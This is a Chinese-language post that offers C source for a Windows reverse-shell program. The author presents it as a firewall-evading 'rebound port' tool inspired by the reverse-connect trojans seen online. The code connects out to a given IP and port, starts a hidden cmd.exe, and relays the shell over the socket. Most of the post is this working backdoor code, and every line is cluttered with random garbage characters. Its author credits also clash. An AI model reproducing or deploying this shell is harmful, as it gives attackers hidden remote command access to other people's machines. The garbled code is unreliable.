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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 9 #TzW9  
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/* ============================== !lKO|Y  
Rebound port in Windows NT +J} wYind  
By wind,2006/7 $\Bzp<SN`  
===============================*/ =SB#rCH  
#include {^i73}@O  
#include X]U,`oE)9  
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#pragma comment(lib,"wsock32.lib") hF s:9  
01g=Cg  
void OutputShell(); >N@tInE  
SOCKET sClient; {UX?z?0T  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; gV$j ]  
-$f~V\M  
void main(int argc,char **argv) 7*^-3Tt83  
{ Bq.@CxK  
WSADATA stWsaData; 'C8VD+p  
int nRet; "=@b>d6U+  
SOCKADDR_IN stSaiClient,stSaiServer; n.ZLR=P4  
8i!AJF9IQ}  
if(argc != 3) nBI?~hkP3  
{ u=z$**M^  
printf("Useage:\n\rRebound DestIP DestPort\n"); :6S!1roi  
return; 1 !bODd  
} Y (x_bJ  
% obR2%  
WSAStartup(MAKEWORD(2,2),&stWsaData); %'a%ynFs  
1uZ[Ewl]  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); jl;_lcO  
rL3<r  
stSaiClient.sin_family = AF_INET; mEfI2P)#|  
stSaiClient.sin_port = htons(0); ;,[6 n|M  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); z6ISJb  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) &)JQ6J_|\  
{ =.(yOUI  
printf("Bind Socket Failed!\n"); >A5R  
return; %@#+Xpa+  
} ^hzlR[  
f uQbDb&  
stSaiServer.sin_family = AF_INET; $h`(toTyF  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); !O6e,l  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); '9c`[^  
GL[#XB>n  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 4z#{nZG  
{ 3sIW4Cs7)U  
printf("Connect Error!"); MGze IrV  
return; usH9dys,  
} I_6NY,dF  
OutputShell(); ,yus44w[  
} M.$Li#So,  
g@wF2=  
void OutputShell() zs e<b/G1G  
{  N-`Vb0;N  
char szBuff[1024]; |I-;CoAg  
SECURITY_ATTRIBUTES stSecurityAttributes; ~qt)r_jW  
OSVERSIONINFO stOsversionInfo; 3:@2gp!tq  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Jz7a|pgep  
STARTUPINFO stStartupInfo; hr_ 5D  
char *szShell; aDmyr_f$  
PROCESS_INFORMATION stProcessInformation; 'kb5pl~U  
unsigned long lBytesRead; Gdmh#pv  
T6m#sVq  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); C~4_Vc*  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); mR@|]T  
stSecurityAttributes.lpSecurityDescriptor = 0; vw5f.8T;w  
stSecurityAttributes.bInheritHandle = TRUE; TG7Ba[%  
o`5p "v r  
ph{p[QI:{X  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); $&~/`MxE  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); O4RNt,?l  
~\kJir  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); EBlfwFd  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; W&CQ87b  
stStartupInfo.wShowWindow = SW_HIDE; <k?ofE1o  
stStartupInfo.hStdInput = hReadPipe; b~fX=!M  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; s3qWTdM  
nfpkWyIu{  
GetVersionEx(&stOsversionInfo); @)PA9P |  
6(awO2{BP  
switch(stOsversionInfo.dwPlatformId) N`XJA-DE  
{ 56gpAc  
case 1: g?` g+:nug  
szShell = "command.com"; .w2QiJ  
break; Go~bQ2*'(/  
default: BC*vG=a  
szShell = "cmd.exe"; _nu,ks+  
break; Tlrr02>B{  
} IN=pki |.  
VH[r@Pn  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); BCsz8U!  
MJNY#v3  
send(sClient,szMsg,77,0); Ay)q %:qx  
while(1) :K.%^ag=j  
{  R}Pw#*B  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); [M>Md-pj  
if(lBytesRead) :*bv(~FW  
{ %x@ D i`;  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); >dKK [E/[d  
send(sClient,szBuff,lBytesRead,0); dv=y,q@W  
} %pj 6[x`@  
else PN9^ sLx=  
{ u.;zz'|  
lBytesRead=recv(sClient,szBuff,1024,0); ^kZfE"iE2  
if(lBytesRead<=0) break; "<o[X ?u  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); M S 3?#b  
} +Go(y S  
} :$k':0 n  
=B4,H=7Spf  
return; HUqG)t*c1  
}
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